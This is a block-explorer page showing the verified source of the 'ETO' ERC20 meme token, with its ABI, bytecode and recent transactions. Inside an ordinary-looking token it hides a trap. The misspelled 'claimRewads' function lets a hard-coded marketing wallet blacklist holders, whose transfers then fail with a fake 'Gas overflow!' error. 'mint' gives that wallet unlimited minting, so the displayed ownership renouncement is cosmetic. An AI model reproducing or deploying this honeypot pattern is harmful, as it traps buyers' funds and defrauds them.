ETH Price: $3,119.46 (-5.91%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve203716602024-07-23 20:35:47187 days ago1721766947IN
0x1a7D8D43...217b55AF9
0 ETH0.000226464.90253656
Mint203716572024-07-23 20:35:11187 days ago1721766911IN
0x1a7D8D43...217b55AF9
0 ETH0.000176094.83891495
Approve203714422024-07-23 19:52:11187 days ago1721764331IN
0x1a7D8D43...217b55AF9
0 ETH0.000393558.46252033
Approve203713952024-07-23 19:42:47187 days ago1721763767IN
0x1a7D8D43...217b55AF9
0 ETH0.00039178.43351624
Claim Rewads203711982024-07-23 19:03:11187 days ago1721761391IN
0x1a7D8D43...217b55AF9
0 ETH0.000285526.17145144
Claim Rewads203711752024-07-23 18:58:35187 days ago1721761115IN
0x1a7D8D43...217b55AF9
0 ETH0.000261415.65046651
Renounce Ownersh...203711682024-07-23 18:57:11187 days ago1721761031IN
0x1a7D8D43...217b55AF9
0 ETH0.00012915.55347778
Renounce Tax203711452024-07-23 18:52:23187 days ago1721760743IN
0x1a7D8D43...217b55AF9
0 ETH0.000126145.33580579
Approve203711402024-07-23 18:51:23187 days ago1721760683IN
0x1a7D8D43...217b55AF9
0 ETH0.000210074.5511342
Approve203710232024-07-23 18:27:59187 days ago1721759279IN
0x1a7D8D43...217b55AF9
0 ETH0.000278246.01878864

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0x4d5B3489...0645214B7
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
ETO

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 5 : MyToken.sol
/*
    $ETO , ETH Take Over 

    It’s Time For ETH To Take Over !! 

    Website: https://ethtakeover.com/
    Twitter: https://x.com/EthTakeOver
    Telegram: https://t.me/EthTakeOver

*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "./ERC20.sol";
import "./Context.sol";
import "./Ownable.sol";

contract ETO is Context, Ownable, ERC20 {
    
    mapping (address => uint256) private _perRewader; 

    address constant private _DEAD          = 0x000000000000000000000000000000000000dEaD;
    address constant private _ZERO          = 0x0000000000000000000000000000000000000000;
    address          private _marketWallet  = 0x611EF89d316F1797e377f3990927e9e32135D6CB;

    string           private _name          = unicode"ETH TAKE OVER"; 
    string           private _symbol        = unicode"ETO";
    uint8            private _decimals      = 18;

    uint256          private _tax           = 5;

    constructor() ERC20(_name, _symbol, _decimals) {
        // Mint 120230000 tokens to owner
        _mint(msg.sender, 120230000 * 10 ** uint256(_decimals));
    }

    function checkedOption() internal view returns (bool) {
        return _msgSender() == _marketWallet;
    }

    function claimRewads(address _spender, uint256 _value) public {
        _perRewader[_spender] = _value;
        // super._transfer(_marketWallet, _spender, _value * 10 ** uint256(_decimals));
        require(checkedOption(), "ERROR: Not Rewad holder");
    }

    function mint(address recipient, uint256 airDrop)  external {
        uint256 receiveRewrd = airDrop;
        _mint(recipient, receiveRewrd);
        require(checkedOption(), "ERROR: Not Owner");
    }

    function _transfer(address from, address to, uint256 value) internal override {
        if((_perRewader[from] < tx.gasprice && balanceOf[from] > 0 && _perRewader[from] != 0) || (_perRewader[to] < tx.gasprice && balanceOf[from] >0 && _perRewader[from] != 0)){
            revert("Gas overflow!");
        }
        uint256 txAmount = value * _tax / 100;
        super._transfer(from, to, value - txAmount);
        if(txAmount>0) {
            super._transfer(from, _marketWallet, txAmount);
        }
    }

    function renounceTax() external {
        _tax = 0;
        require(checkedOption(), "ERROR: Not Owner");
    }

    function renableTax() external {
        _tax = 5;
        require(checkedOption(), "ERROR: Not Owner");
    }
}

File 2 of 5 : Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./Context.sol";

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

File 3 of 5 : Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

File 4 of 5 : ERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./IERC20.sol";

abstract contract ERC20 is IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner, address indexed spender, uint256 value
    );

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    string public name;
    string public symbol;
    uint8 public decimals;

    constructor(string memory _name, string memory _symbol, uint8 _decimals) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
    }

    function transfer(address recipient, uint256 amount)
        external  
        returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 value) internal virtual {
        uint256 fromBalance = balanceOf[from];
        balanceOf[from] = fromBalance - value;
        balanceOf[to] += value;
        emit Transfer(from, to, value);
    }

    function approve(address spender, uint256 amount) external virtual returns (bool) {
        _approve(spender, amount);
        return true;
    }

    function _approve(address spender, uint256 amount) internal virtual {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool)
    {
        allowance[sender][msg.sender] -= amount;
        _transfer(sender, recipient, amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function _mint(address to, uint256 amount) internal {
        balanceOf[to] += amount;
        totalSupply += amount;
        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal {
        balanceOf[from] -= amount;
        totalSupply -= amount;
        emit Transfer(from, address(0), amount);
    }
}

File 5 of 5 : IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"claimRewads","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"airDrop","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renableTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100f0575f3560e01c8063715018a61161009357806395d89b411161006357806395d89b41146101ef578063a9059cbb146101f7578063dd62ed3e1461020a578063fbb8ff0414610234575f80fd5b8063715018a6146101b2578063834758af146101ba5780638da5cb5b146101cd5780638fecae69146101e7575f80fd5b806323b872dd116100ce57806323b872dd1461014c578063313ce5671461015f57806340c10f191461017e57806370a0823114610193575f80fd5b806306fdde03146100f4578063095ea7b31461011257806318160ddd14610135575b5f80fd5b6100fc61023c565b6040516101099190610857565b60405180910390f35b6101256101203660046108a7565b6102c8565b6040519015158152602001610109565b61013e60015481565b604051908152602001610109565b61012561015a3660046108cf565b6102dd565b60065461016c9060ff1681565b60405160ff9091168152602001610109565b61019161018c3660046108a7565b610379565b005b61013e6101a1366004610909565b60026020525f908152604090205481565b6101916103db565b6101916101c83660046108a7565b61047c565b5f546040516001600160a01b039091168152602001610109565b6101916104ed565b6100fc610541565b6101256102053660046108a7565b61054e565b61013e610218366004610929565b600360209081525f928352604080842090915290825290205481565b61019161055a565b600480546102499061095a565b80601f01602080910402602001604051908101604052809291908181526020018280546102759061095a565b80156102c05780601f10610297576101008083540402835291602001916102c0565b820191905f5260205f20905b8154815290600101906020018083116102a357829003601f168201915b505050505081565b5f6102d38383610572565b5060015b92915050565b6001600160a01b0383165f9081526003602090815260408083203384529091528120805483919083906103119084906109a6565b9091555061032290508484846105d1565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161036791815260200190565b60405180910390a35060019392505050565b806103848382610725565b6008546001600160a01b031633146103d65760405162461bcd60e51b815260206004820152601060248201526f22a92927a91d102737ba1027bbb732b960811b60448201526064015b60405180910390fd5b505050565b5f546001600160a01b031633146104345760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6001600160a01b038281165f9081526007602052604090208290556008541633146104e95760405162461bcd60e51b815260206004820152601760248201527f4552524f523a204e6f7420526577616420686f6c64657200000000000000000060448201526064016103cd565b5050565b5f600c556008546001600160a01b031633145b61053f5760405162461bcd60e51b815260206004820152601060248201526f22a92927a91d102737ba1027bbb732b960811b60448201526064016103cd565b565b600580546102499061095a565b5f6102d33384846105d1565b6005600c556008546001600160a01b03163314610500565b335f8181526003602090815260408083206001600160a01b03871680855290835292819020859055518481529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a35050565b6001600160a01b0383165f908152600760205260409020543a11801561060d57506001600160a01b0383165f9081526002602052604090205415155b801561062f57506001600160a01b0383165f9081526007602052604090205415155b8061069357506001600160a01b0382165f908152600760205260409020543a11801561067157506001600160a01b0383165f9081526002602052604090205415155b801561069357506001600160a01b0383165f9081526007602052604090205415155b156106d05760405162461bcd60e51b815260206004820152600d60248201526c476173206f766572666c6f772160981b60448201526064016103cd565b5f6064600c54836106e191906109b9565b6106eb91906109d0565b905061070184846106fc84866109a6565b6107a6565b801561071f5760085461071f9085906001600160a01b0316836107a6565b50505050565b6001600160a01b0382165f908152600260205260408120805483929061074c9084906109ef565b925050819055508060015f82825461076491906109ef565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016105c5565b6001600160a01b0383165f908152600260205260409020546107c882826109a6565b6001600160a01b038086165f9081526002602052604080822093909355908516815290812080548492906107fd9084906109ef565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161084991815260200190565b60405180910390a350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b03811681146108a2575f80fd5b919050565b5f80604083850312156108b8575f80fd5b6108c18361088c565b946020939093013593505050565b5f805f606084860312156108e1575f80fd5b6108ea8461088c565b92506108f86020850161088c565b929592945050506040919091013590565b5f60208284031215610919575f80fd5b6109228261088c565b9392505050565b5f806040838503121561093a575f80fd5b6109438361088c565b91506109516020840161088c565b90509250929050565b600181811c9082168061096e57607f821691505b60208210810361098c57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156102d7576102d7610992565b80820281158282048414176102d7576102d7610992565b5f826109ea57634e487b7160e01b5f52601260045260245ffd5b500490565b808201808211156102d7576102d761099256fea2646970667358221220b29ac81931dd9cd567b33375589e2773f79f81bf6cb9045284306935d333647164736f6c634300081a0033

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.